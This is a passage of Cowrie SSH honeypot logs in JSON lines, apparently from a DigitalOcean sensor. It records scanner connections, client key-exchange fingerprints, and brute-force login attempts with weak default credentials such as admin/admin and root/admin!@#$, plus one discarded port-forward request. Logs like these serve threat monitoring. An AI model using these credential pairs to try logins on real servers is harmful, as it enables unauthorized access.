af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:59.140700Z","src_ip":"40.81.244.142","session":"f6e63d9b4dcf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:38:59.922633Z","src_ip":"40.81.244.142","session":"f6e63d9b4dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:00.113580Z","src_ip":"40.81.244.142","session":"7bb23c8e98d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:00.119321Z","src_ip":"40.81.244.142","session":"f6e63d9b4dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":48532,"dst_ip":"159.203.135.109","dst_port":22,"session":"048be0f5b025","protocol":"ssh","message":"New connection: 222.167.161.198:48532 (159.203.135.109:22) [session: 048be0f5b025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:03.658276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:03.677053Z","src_ip":"222.167.161.198","session":"048be0f5b025","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:03.959467Z","src_ip":"222.167.161.198","session":"048be0f5b025","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qq123456","message":"login attempt [ubuntu/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:05.092399Z","src_ip":"222.167.161.198","session":"048be0f5b025","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:06.372421Z","src_ip":"222.167.161.198","session":"048be0f5b025","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":52654,"dst_ip":"159.203.135.109","dst_port":22,"session":"417bb0b75e1c","protocol":"ssh","message":"New connection: 101.36.124.127:52654 (159.203.135.109:22) [session: 417bb0b75e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:35.126428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:35.135175Z","src_ip":"101.36.124.127","session":"417bb0b75e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:35.356397Z","src_ip":"101.36.124.127","session":"417bb0b75e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vps","password":"12345","message":"login attempt [vps/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:36.269297Z","src_ip":"101.36.124.127","session":"417bb0b75e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:37.493409Z","src_ip":"101.36.124.127","session":"417bb0b75e1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63514,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2877c4b8e88","protocol":"ssh","message":"New connection: 87.251.64.176:63514 (10.17.0.5:22) [session: f2877c4b8e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.144847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.149428Z","src_ip":"87.251.64.176","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.245729Z","src_ip":"87.251.64.176","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.534038Z","src_ip":"87.251.64.176","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.633816Z","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.738061Z","src_ip":"87.251.64.176","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:45.840314Z","src_ip":"87.251.64.176","session":"f2877c4b8e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":41918,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab0a90e32116","protocol":"ssh","message":"New connection: 40.81.244.142:41918 (159.203.135.109:22) [session: ab0a90e32116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:52.992775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:52.996488Z","src_ip":"40.81.244.142","session":"ab0a90e32116","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:53.177771Z","src_ip":"40.81.244.142","session":"ab0a90e32116","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@#$","message":"login attempt [root/admin!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:53.938736Z","src_ip":"40.81.244.142","session":"ab0a90e32116","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:39:55.124695Z","src_ip":"40.81.244.142","session":"ab0a90e32116","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":50058,"dst_ip":"159.203.135.109","dst_port":22,"session":"760ad846fbcd","protocol":"ssh","message":"New connection: 222.167.161.198:50058 (159.203.135.109:22) [session: 760ad846fbcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:05.989428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:05.994857Z","src_ip":"222.167.161.198","session":"760ad846fbcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:06.269721Z","src_ip":"222.167.161.198","session":"760ad846fbcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:07.397947Z","src_ip":"222.167.161.198","session":"760ad846fbcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:08.683092Z","src_ip":"222.167.161.198","session":"760ad846fbcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":48566,"dst_ip":"159.203.135.109","dst_port":22,"session":"36241980d783","protocol":"ssh","message":"New connection: 101.36.124.127:48566 (159.203.135.109:22) [session: 36241980d783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:28.126913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:28.131786Z","src_ip":"101.36.124.127","session":"36241980d783","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:28.352928Z","src_ip":"101.36.124.127","session":"36241980d783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test00","message":"login attempt [root/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:29.265124Z","src_ip":"101.36.124.127","session":"36241980d783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:30.488015Z","src_ip":"101.36.124.127","session":"36241980d783","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.81.244.142","src_port":39650,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a7024d7dcb0","protocol":"ssh","message":"New connection: 40.81.244.142:39650 (159.203.135.109:22) [session: 1a7024d7dcb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:52.375999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:52.380619Z","src_ip":"40.81.244.142","session":"1a7024d7dcb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:52.574625Z","src_ip":"40.81.244.142","session":"1a7024d7dcb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hssuser","password":"hssuser","message":"login attempt [hssuser/hssuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:53.385726Z","src_ip":"40.81.244.142","session":"1a7024d7dcb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:40:54.583870Z","src_ip":"40.81.244.142","session":"1a7024d7dcb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.167.161.198","src_port":35884,"dst_ip":"159.203.135.109","dst_port":22,"session":"829566382ce3","protocol":"ssh","message":"New connection: 222.167.161.198:35884 (159.203.135.109:22) [session: 829566382ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:07.805098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:41:07.809842Z","src_ip":"222.167.161.198","session":"829566382ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh